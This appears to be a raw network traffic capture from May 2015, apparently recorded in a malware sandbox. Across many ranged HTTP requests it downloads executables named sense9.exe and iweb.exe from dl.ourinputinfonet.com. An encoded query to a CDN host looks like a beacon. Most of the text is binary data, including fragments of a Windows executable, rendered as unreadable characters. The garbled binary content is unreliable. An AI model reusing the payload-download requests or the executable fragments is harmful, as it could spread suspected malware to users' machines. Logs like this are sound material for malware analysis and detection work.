.Xj..6Z.n#k....d.f;..v.s. O....R.*i~$I...C...hvW."[email protected]..
.....]gxM.(n..>..m#.Q....{|.Jy. .'|.3\..:.....sm..f.....YCI..E8.7.h
.O.......jE..S..HC..8..$d...F...8...F........a...Wn*i.8Yv.....k.4..{M.
x....IW...u*....hk...I...\.=..]=.. ..fB..!.....{N...,..QA.R.Q...L.....
W&kn;...lv...r...f..xu.{6....yZ..Q...o3../.......H...B1...?.q.."..,...
....G..*.....)...n...SG......,6....9e..K.. ....5Ni .cw.r...N3r..W..t..
[.B.h..;._N?Z.O....=.I..rK..m....k.~.|O.....p2.%N5!..X.JT....R.......[
b.e.V.;.L.......|..O _.rN...w8(i!?.y.s....t..D6..R.N...$..2....p......
...j.R.8)[.r.=.....e....U...Z....hFa....<.cN8.f.n.b@f>.0..#.T..O
........!~S.....*c...a d.)........(..........4F..v..a)..;WY.'o..]...i.
...4M....<.>X..!c..J.y.8.-.J...m.1.NT.?......MXC...d4.*....M.|I_
..I>tS..3Y...E]......!.^[email protected].<<< skipped >>>

GET /cnnnext/dam/assets/150420160008-iran-military-parade-large-169.jpg HTTP/1.1

User-Agent: Java/1.6.0_18

Host: i2.cdn.turner.com

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive


HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: image/jpeg

Content-Length: 54057

Cache-Control: max-age=3837

Expires: Sat, 16 May 2015 00:09:04 GMT

Date: Fri, 15 May 2015 23:05:07 GMT

Connection: keep-alive
......JFIF.............C..............................................
......................C...............................................
............................."........................................
.C..........................!..1A."Qa.2q..#..BR..$3b.......%Cr.4......
............................1......................!.1A.."2Qaq#B......
.4...3............?.%.y.i.&JE,!.:......'.:}...T...:RSv..........l)..Q.
17Np 9.P .....Q.N;*.LK...S..nZI*.........<N.%....it...."....H......
..p.."....."...=.vf.\..a.>...i].T..T=lp..%Lb..%T.%..^.............*
..e*...8^9...[I_-Ed.:Ucc..|Q.ENae."Rb.1.c..Q........~....i... ..]9...q
@,.t..{.....=E.Ia..%.M-]Cf..t.......j R....bS.B.0...-..IN....wa..?.4=.
.......oF2..ltJ.k..q..=F2*...YB.1..A.YN].........6....51.He.8.Y.H...qn
&.L."..b.6..|.....3.I.  R.Q.#..n0.v...^..dG....,-W)...W....<>...
Qv.Wb\.HI..6Z.`p.....U.5.A....We).....\!.......b.....c?.%.7..B..R.....
[email protected];.K........Iu..bC..I<.!Ei7Bobm......
&.."7.4.y...l..y![..-....j.t.]9.e:Hz...rRE.. ...E..b..G...:..\y.!d.]6.
..{.z.=......UPCC....S}T..IV.A.}.k.w...X..]vf...$J.....8..A....|...A..
.G...a..p .....s.?...*.54.#.%.O..%V......./.#.bI..q.........1Vlh.BN...
GM....9..d.......F..XZ.....'kz..:.[...t$3.....c.....QP..f:...[.0...$..
.?l..i...8.%....6t..\._.r!>>%!y.0.....ZTu.h..%WW`:.~...Yf.Sy.R..
.....R..%_..3.2.^-..(f*.[sc.I*I..-.....%.eXt...p..R.t.,(iZt...........
5.....mp.F..P....ZU.)v..b.:qBNM.!(IS.@i;m..n7...(."....]p.d...)....6..
.c....VX..<.~...wr........%n...|I.W...r..J..&.J....q.#.%Ss$....<<< skipped >>>

GET /10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiCz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YON3V5qfYBQRYy9CQuy MOErhBhNhDB4mSs2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6gKlGaFWGmKoY9it6lcEMS6PJlBZDZXtnAIAga8p090x7c540dk3nMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:03:08 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:03:08 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:33 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=20

Content-Length: 250000

Content-Range: bytes 0-249999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730953.dop009.am4.t,1431730953.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@.......................... 
......./........ ..............................p........... ..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]...`....... [email protected].... .
......"[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:34 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=19

Content-Length: 250000

Content-Range: bytes 250000-499999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730953.dop009.am4.t,1431730954.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
..1....{bE......._E....D..D.....a.K..x.....>.][email protected]~..-..f...]....
....^..........~2..|.i..K6a.......^f;.-Xg.m...2K....I......pk..X...u..
..UTg}.tk.){Ui,.A..CXe=. P.6..o[g..d. `...C..B..yCm..T.s...q%..<.@&
[email protected].$[...._.X..'.`..q...S....Z......y.......`9..JFB...
I.1....F.O.....\b..........9 .W..,D.....AU....3nc.P. "0'(...a..N..9.\.
.NL.....g..?qr4.......0p.(z.Y.vm....m.;.L.2..q.....s .....y..._..._..X
.Y3...;{%.p...A].E.z..z..o#..w......h .? ..C.?J......>.....r..{..\.
...}.......Q@O .j..0.....7ns.F&.:.b..\)...b.^......DQ...:..x........&g
t;.nW...S.I..%...y...`'...}.t..?...3Fm.Y...r.p...-.....#..N.....:Q..&l
t;.|C..q..G.JpI...,(.....o..}.'.ki.......#.E).J.... .l.,.C%.q.w.....Hm
I...AD(w..5k....d....*..a........N......I.#U ]...j.F.j...3.x..&e3h_]..
..<..V.dU|y8..s.*L0D.....&..=....q5.2.{j.O...\.i..=.T>..X7......
h7..q..!.q0x8.......%....Fk.2..r%...G..-.....[...=GW.......'F...Z.%.e.
'B`p#..nr^..d...(..~..........Z.I...8.....=....{u.[[email protected]..(..
.^.0...........n..S3.-..k.p*".".c...........A..c.~t..k{..d.. ?f.......
q.....T.vd..<}!..t.~..jH..[.....8.r!..q..sS.F..W.Q....&..8.......h.
.7.../@B3Ds....c.....K1.u.`..K38S.^..Z.....j..&.U....W;....#)K..K..z}.
N$.......9...T.q.K.&......j.n%P.9-G...n.n..yQ._F..x.H./.J.&.>ec....
...y..`.To...$>1.I..R.....~..IN...}w.g..DI.N..\_..s.. .&.r^LM.....j
. ..|}.s.Q...uYz...V..M}n.../.{.......0?[...S~...oP[~.....*bm[.nW....I
.):..hf..._'.C.PT..C.....m!I..5f......a?K!.G9.!.{...lX5c5<8.j..}..6
j.B..eA.....C..<v...........
<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



[email protected]&&)[.v..')j.)..%.#f...2:Oa[.A$c...~J.rs.:J
I.{E.A.rL....$y4w..8.w..]...... Z.G.........\K.t....'..)n.....W.H.....
..c..h.OL.=.2.C....C..=..............n.,hs&...R.H...X2.RR..h..o......b
....u7..#V...{......<.. (..qm..l...D.i.&.a..........z.-;.L..Z..O...
6..:f....1k.r...F6*w.......5..... .~t6...b..v......./i.......G..T2.Z:f
............&..RP..=..H/.P0.........P.znj].ao..\..^'.. .5.?K&..E.F..Su
.)..F..\.#....a.ql U.1....}.5..'..8Ba.k.........C%`J\..`6V....U.<..
....SM5..Dp...=....DV..U.!..G...[.'..!......F.K]R.^g..........u...r...
...Mt..4......w..s..g.....?...Z......Y..0.....2.......?)...3..0B..C.xM
...A...M.VS...G......T...IP[...L?._..9Z.....Yr....Rj.!WQ.-.kq._...9W.l
.4.R..3.v.efM`.Y4.D9 ...l.O..Y..B.....j.S........z..... 6.......}.~XEF
.8Fw.yV..e.W9..3.H...k$.,.....g..6...E.b..i...&....{..S.Z....A..W.*Y..
..f&...YAt...an..pD...z.5.c.....V/!.y..U....?pf>..=A...4.,.mz..u.B.
[email protected]..... .\dYwK.Y...j.........>.../Z-........H~.p&.......y
.J.X...Y..G[.~.hJ.m6.V..M....lT.-ZIP."......vao.O..D..-q.....:.[..$...
.......5e....SB......d../...."&..._.,....9...4.l&...>..B..........e
.F..Q..I...-.0.Q\r.:.......(H..._O...y."1m4n-..h;........4.......:>
[email protected]~.-!.,j2...... ...7.y............;..m.....z...X
../rH........tz5...{v._....a..'..ccO'.0HJ.s.....Y{.gcRr.m..F.....U...z
*T.\.L.{V..;........hXf..B..<.0....|............2h.F....{B._v...#.O
...."..5..8.l..c.h......[.j...~|....l_.....].xt............3...am.dcb.
!0&.0......We.....r....M..%.$.Bx.oHc........&..#.....-'|.....ro?zf<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.......O........rZ....u.1Z)UXVJj)..;Y...?.?L2...W..-..e...]....(5.....
!.Ym....jk>.#=.....S..q...'.=.c.~.......k...{b..S.t..M....p.....p.Q
,PB3.C...xu..I&.!.$.g..A.F"x....S..s..l.(......<=.M(...J..W....B\j.
.....[...9....\T....? ....7..c.Y....l.........c&... _.d....D..P... }J/
.j..K>oP.)..l.\k1..&..Rs_m..HJw.:(...Fp..h.$ .........zc...W..i..8.
[email protected]....`d.Z.d.h.......R..)..E..:<.F[(..5.j.6.e....%..B
...7.....`c...A. ....j..$..G...z.LW..@x... ...}>2t....2@v?.Ji.Lt...
7r[..X..R.t.Q..u..j7..2i~?X.D...J5...Gh.a.....O..}].~.............f.s.
.6..#w........'..c..).OZf{Rc..E6.SE.M:;....^...p.../.A.).P......`.|...
.K.:.s...PE...nHO....7;....(3X{.U.(.X.9)6...|...X..........K~.....L.l.
.......?e(.?|#.Z.........$..kXaE....k....6.d.vx~dV&h.x.........(....m0
[email protected]..`.w...)..L.....3.e......q......M$-.
6. .............U@qj..:.(.@(>...s.....8......*.3.l...RZD..![.RZ.W..
..q..Z.1.xb%..#.u...Av...*.^..~.....$9t@W..:........x.:...j.^.Q.....&l
t;[email protected]..........{..M....[&.. ......a.....>.G..A...M...aJ 
..J,q..X.....f...>...k... .#.T~.2p9..w..<...O.K.~...na....B.w..B
.....D.v.:X.Y.U_.W..p,[email protected]%n..)1#..s.. &
lt;...r.....JoZY.*.O...x"P....6B.^W.8.Qe.....Y.. .ja....Q......(..V...
.N.-.n...".`.re.S..s...f..........z.t...1..jO..H..jo....uKJ.A.2..Y..]4
....W*.Y:....R.E4.#.I@^.........f...}......G./=.H....x)ru./.0...1.t..z
[email protected],.x.....9..D ...,.E.2.....{...a.. ..|..v...6...p..f]C..
....1 ...X.. ..T...O..j...sN.^j'&np$$.v.......<;-$(Ul.....z.[@7<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:35 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=18

Content-Length: 250000

Content-Range: bytes 1750000-1999999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730955.dop009.am4.t,1431730955.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
...*.....;.l...e.....B](... .......Z7..o.......,4.. z....'./J....5...d
....q...Z..t..c..2.a..f ?~...m....A.....Y.....o..(......?.=..;..-.ZH.(
.{.l.if..:@.]....;[email protected]:.i<R...s.T..F......R1..Qo(....G
...WEv.1....A......nk...}...u.....Z.......~..8.P.....Rj\(8.}g.:.......
m~5....$.._..>.SN..P.% M/Z.....Aa>q..0..<.......-..mb... k2.T
.q.*.'.hI.?..m_.... ..g..2*...T..u....U=M.P.-g..}Z{. &?..:X...D......k
.Oz..o........w........U.t...#$..K.C .*....T....P.N...M..w.]..xh.&dDDc
.F.x/~...4.>[email protected]..)W.z..$.M.2...Y.D..........u...9.T13......sr1.Ec
...yj]#E=..0{dY.T.....("..).i....r.t(X.cU..>R9....."<.y2d.{]..K.
.F.....$}>P.......v..`...J..C.`....Q5V%...n.p...y),.p..P..'I=S.....
......c........v..P...]...p..M\....O$...s...>....G..F...........(IW
F..A&..&..8.WT...k..A.....$..=jT.Bd......z..k..G>..z.=2T.y.A.I.....
.9..../{B...@[email protected]<d.rK.U{...o...7LH1.....M....C2...S...z
[email protected].../:....Y....j...U.Fb....0...DI.\.0..E..-...^i..sl....
G..YH7.. A.MOAoi.$.}..f..D{.M.>.%t..j...ay.8:'......9.[1...h.Xw T..
.|......!....[.<....Y.Bs'u..\.....mO\. ....G.;W.h..^..X..A...$;....
[.....?.E..%B... 7..ja...R..L.-....4M....p.....XJAg..i.dw.'..)...Pg).9
..4.y0~W....U_F.E.K..~....|.VsI.&J.......~3...y~.D.#n.......&..."..&HZ
 ....B.y....yYu....m{qW..u..e`..qp.A<.y.D l.3j.........!..F..c.....
.....g.y<...3]..R..N.... ...%n..:.NE..N.^.X.;]im..d.7.\....C.Q909..
.*.....r[..8*....g..zp.....V...%.......i...b\...\...v..&..c8....!R..F6
.......X....R....T../$....^^#.e.T...;*`...u.;..=i...[.8.v..$./...|<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:35 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=18

Content-Length: 250000

Content-Range: bytes 2500000-2749999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730955.dop009.am4.t,1431730955.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
..-..........`[email protected]. ../.....@.#1.Eb.......O...KHy.q.q.b;(..\.....1...
B.........w'[email protected]|...[..'ejw{...d...^...:...M..."..\.
z8.HD.T........H..tf.\W....(|.SeqI....#C..D<...3...K....{...z.v...q
.L..v$~......E|W.G.Oy].T...1...R....uF..M...Ia6^.......e...bx1r..?.)T2
..2..bY.?..v..3...k.H.H..............Zj...mZ_...B.."........h...;^..V.
PA..-O....S..f..ile......L .......Im..0.>..3.yJx5'H.ujAK..Q#.../.81
.[D..$..d.Q."n....sj^?.>...z.V..lm.J....U..s*....`a..[...r... l.*. 
Y..v..# 6..{.R..#......_z..0.y.k.d.......V.JB5....$..g.?...yrGr)]X.-..
..q..b}.....H...L.b...A8...#?../.f.G.........`K....s..:.2.`.......z.5$
.:..G.a......T..../._..N.Ds.....r.....I....q...I.1@.&x....f..n..j...).
...Y8.......?%..[.RD.>..`...Q....O.Y......?.....L.sG...Ru...*EL.B..
.e.5:p.=.~...M{>p..?.....`.Zm....."....j......~....._E.{^k_..c^fyK^
.]....7j..w.m]..d.{......9D.......Q....?m.c...~..;^AI_.....{.I.207<
.....[.........t........h.*p/.............i)........._...9].I.........
.X....2.O.....]ih...R.Q....:s{.f....:[email protected]..]w%....g....P.x...
V..x.c.."8M^....a.'.....,........,u...~.Si...h..N.Mcq..B.M.8.H...._...
;)H........@K..$.S.F.gM.Q..0.tuB.-..gH.....glK\.rlR.H*3.j.q...D..{Z...
.l...LI;...t..P[..b.d..uK<.&.....j.Y.....%.....eF.. $.NL..D.~......
....{...t2(.{S<..\>....h.6..A;v..~f"c.....-$.... ....zJqd.......
0l.GXY..T.V.1iA.....B...n..>RD....Y.%....t.c....K|.N./|=.....i.....
|(w.zc.y..P......*...Rw-.}..`...50.J/SDPCb..6.(...>....N`...[....&g
t;..j.............k.X.2.x<.....\.A..e....8MU...K$\.4....iO.C.6q<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..S....lpA.Y...~..QE.yva.I..m).bj..0. ...Q.k......8...w..4^s..f:.=jXI.
h..$G...,7.....I(@......,@...M....$...4N....w..]0.0N|..{IR]...........
].....<.cS..48...oqu=N9u ..."3..b..x..S....<...C...ko...;.S..n..
......OE...c....T~=w.P.\[email protected]$.|.BJ...DL)....$.4H.jf.........d..
cO:.d..O.._3....=g.Z....J...G.A7..pp...H...L..6..8.i.U....z..7.:..a.|J
..%D..yEp$D.Eg....s..............f.D....L.5;..q.hY..g.}..Mx....MG..?..
;....:.5.l... .Q.2W.*..%...h.y2$UQ....C..........g..7...`j...Z..5.....
p.{...sT=N........XE..Qjn.[c.@.~.. ...O.p.i......8.3.R...d.A.......C~\
.=.Z .*.8.O...e.d.`......>T8..[....c..H..U .....A\Q-Qk...<..mQ.)
....J........./.>.F.`1...E...?.....tq\y.%5.......?.*o.L............
.$..P.Sf..B..{..1....~S.....E."lU{h4.3s.L.6..).t.6."A....Y.u....`.....
...".n..?...nv...{(...W.pG"Ps|.>7n9N.C.u]7.!.D_.J....)..^.._q......
...W./......W.P.R]...2GRe.h...w..z.....n..b.."..1>......I(eG..{.;..
2.f.)Q.........}.j..Y.q~.//q~...8..`J....~...n.......L...2...L2}.... ]
[email protected].].XK.i...X....f..o.2.P.A.^....m....f.*....8]? ..daK.A......Z.L
..A<.Fh...If.R......x3. ...uo.A./...%...y-#..|...."./:....)..!&.4dc
.Q..yh.a.Q.b}[email protected]........&!...U,.Lq..q
............o ....e.7....)N.Js......pJ\\[email protected]?#.?....:c..-..9O.6.x..D
._..ZK.OErp{.CB.......L...h..U....2.e.....Q....9.Y6&..c :.h.PS82..v...
....?x.K..pOh.o8.#...E...:c.......xl.S..0..IY...........f.....Y....v..
.>..<.%.w.........7W..JI.B...F..{]{......\Wm0.up.....=..*q..v.*.
........Hb$...8>i#.B........|)Q_ 3,.f......l._.h...$.e~m1. ..%t<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4500000-4749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:37 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=16

Content-Length: 250000

Content-Range: bytes 4500000-4749999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730957.dop009.am4.t,1431730957.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
.'n.U..9.h..3...X^8h..1....j.1E...y....m..]............<J....J;.2..
bON.`.......A2d.}.....D...e.^.........k..Z!`/I..?G..mW.`s..!..n..zkLu.
.l.>.v(&.......W}.=7.....?........@,...'Fy.f.G..5.....R..|'....F...
..u...r....,4$..F...#.p..>0.W....1.'k.=Y....V*....e..E.5..uc....).D
.'.\.4.Q.I.f..%...u.?L..'D..CnGC.$.H2J7.*[email protected]...)$(~......L[
8.c|_.dy...ql}..h.......8.. wx.....#..[..*......#..\.{.s.. !.i_.V....j
J....(;0........i8.K..#I....4w..{`.6......../.....w.f$b.Xa.l.W.......-
S..E...R.......f.....X...3f.S..m..83$...8.-......o.0.8-z..Z.Y.V.Y%.!.g
....5. .#v..}..y<T#Vy.D..#T.......s.$.....%..0.Z[Y.;X..\.........1!
4.o....(>.3!.Hi8..`:q.q.1xcX...}...f....-C.ed*.8.9...=RT...}.W.G..#
...FL.~."..... ..5hu.XKI~d..K.........E.....U\..I..X..sx......vi.|B...
.>.....'.....(...z..?.5E6. .$.8..~...4b0;L~8..P.......F...f..9....}
X.C...}$......;.h..;.....J?..L.2K.!.........:s..9...GmA:...I.........M
L!.....,....1<@....f> ....Y!..R3 ..`......W.U.p.qf.7...u.u.8xd.t
.:.1..V:..x.....'.ka24S...o.mQ>.>p)s'.-9....KT..7.j....##h..~.t.
#.c0...|....ad...ql..I..h..%.W...g.9...I.q..&...G..=....T.. .7...Wg,;.
xrKb..gyn.9[.V.m}Xq.. _......y i].y.n..9\.~..US..... p."...NB....s....
hh~;.fNR.`. .O....!.J......~.......G.!K5...=.....R..oI.,......m.-.....
..o.....G..F..^.^|.9......<.......Q..<..p.J...u...;o...8.v......
!.[..].R9'.. ...{..4,I.I.Z...o.6..v....we...!_....A.\...$......\.e.|.8
........e..(...A5......'\%z.....AH).f?..............b'.k..2......*3@x.
..K..,.B.e6...{|m..H..^....2..,'....tn..*..0.M......^T?n. O3..}...<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



...{~.eh.c!E.....t.R.".Y.....7...:.._.E#......1L.R.Ag.(...bo....O.....
.."..}.rn*..J>.....\...q..>..h~.O..|...\?.V."..Q8l{.|n...x.J"ZU.
6...0..A....B..._I.........G..4o.WH..(l.N..!.~C...z...%lo#... .`.?.^\.
N.........N]....>.6:..}r.5j.....tW.l.7....}..2e..l{.\H....m.h....jc
6..u...$,.~n......e.~..Dm..E.M.`...v.f.2$..5...nU..a. .g).U..N....v..:
le.`y..]...nR.(H./6..|.f..h?.R?.4o.....u...#.7J W>..c.7..J\{d$.EX..
..........1...../.....S.w....x..S...y.p46U4R....e.......%hgz^W..p2....
k!rv.1...?..N.'...H.y...][email protected][......8....;..../.C.{..&...U.A.:..
?.6..f..."...].wWl6.:x.../&..2:....8.6.../P.q.....X..q.,.*....'_H..v.T
.D........<...zi..B....Q.3[..T..K|....H7t..u..2...Q.Zd........p.!..
QEF.VNZ...i..z.........H....f....I..N..'..g..j..../..k.q. .. s.V...c..
5..6....\.Q.&..v..7..D.n. .....*S;...s....jjZp.q...Do7.v.o..'...Z....U
.<.Y.i/...|..&.Q:[email protected].?tm5...;[email protected].. ....ik.i>Vp
.9...u....r......g`.KN:....~...($.>.....V..,.r.I{._......P......9(.
.......P..!G(^/..%..........V../=A.aCP..!|.. .......A.0..&C..K.l.....U
.....4 .I.u.$&;.....C....|...........i.T.n2o..-..............oZ.oh7..B
;.'.=...>./W?...../SL.rHR.dJR...;...,a..L......9'r..L..F...\^.u..)r
...0......Ff...Pjz....(Bw..x{.....&...iLzam...*&....6..&.p..j.f9.K...K
.;w.. .f.y.Ln.g2..r3..g...U}.I.....(So..p,..J.ss\.........w.N..S..3i..
..~.~a......Q.....w..a..d..JqN...x..cjK."....i.>.0..6,Q|W..w?.a6[..
. ....Z...wt;.=Z....%J-....NF.. ...6jX...{...kN.lZF..jzl.....l..kBN...
....o .6.o....q..........R.. z..X_...M..T.#v.Y... .). ..b...U....g<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5000000-5249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=5750000-5999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=6750000-6999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=7250000-7499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=7750000-7999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:39 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1431698557"

Last-Modified: Fri, 15 May 2015 14:02:37 GMT

Cache-Control: max-age=14

Content-Length: 250000

Content-Range: bytes 7750000-7999999/10634426

Content-Type: application/x-msdownload

X-HW: 1431730958.dop009.am4.t,1431730959.cds060.am4.c

Content-Disposition: attachment; filename="sense9.exe"
.bm1.Hx.....-2e...f...%L|&.......6........'..7.t.%._..?.\t...c?.......
..Wz......T..2r.3i....dQ....lP.I[...^....g.K.G..r.....6..4.>.wz.2..
.NK...S..<.K..f.ft...\t.....-.....%..........6...w....."hQ..%..1...
\a.j.=9.d....R{....-r....Z.t..'.....V......*?..q..!..g.e.;.#._....~$*.
Z.H.yL.....5.[.:.......o.\....(N.....e...DJ*...8.`.6a....p....][email protected]`.
..8.....*...{O.`uX.Z.0.#..z.q..?..E#..K..o.q..i.N......]r.......B.....
N...\D...(.. Q#s....M*.. W.H.e..`.$k}.HM..!.......I1{.v..C...Tm......K
s..?..c.NA....X".I...f..d..Jl.X.M?...a.]...e...rF.stQ#.....-|F..w)>
.dm.......k7...~..........[Cv........B.E.`1I..w..=fL..d....#W..J4.;...
.5.O'.....f......8.....%..C...B.c.....W....E.....d.ey..#k[=.].K~....4.
C..*......%......P.g..6.|....D=.?o...8.........tz..z.N......ut.......p
.k....f#./.[@...|U..31@U.`.#L..(.....*>%...~..A}.w-....Jr.w........
.!.SA.d.Ex.. D:..G....sY....;..S....H.C..q....W.H..r.T...^j....KD ....
......_.'.gZ.......c......v......i.mIx....M...L.I......\.........8.0..
......R...V.....<\e?.s..tV..3.%.9ws..Q@xv:E4z...a....<.|.G..o.B.
n?..?U....u.<D..jO.,..3(N..l...=n....w..uy.Mb.M.Y..~.oh.........Rm.
......|{a....6(...1......@...>BZ....|..8......D.po.5.L.. .. ..llx*.
CI.........._*.:.7H..H.)0b.....V....r...0....tlj....L2...G..'...W.U.rz
.....JS......{-.."....r.:.`..wC;.kvVc%a<[Jt...iR...u......~.`...|(.
T....Y.....;.|7..`.z.....z.iL.Z..=.P....Y.7..a......A..}......U..F[k.h
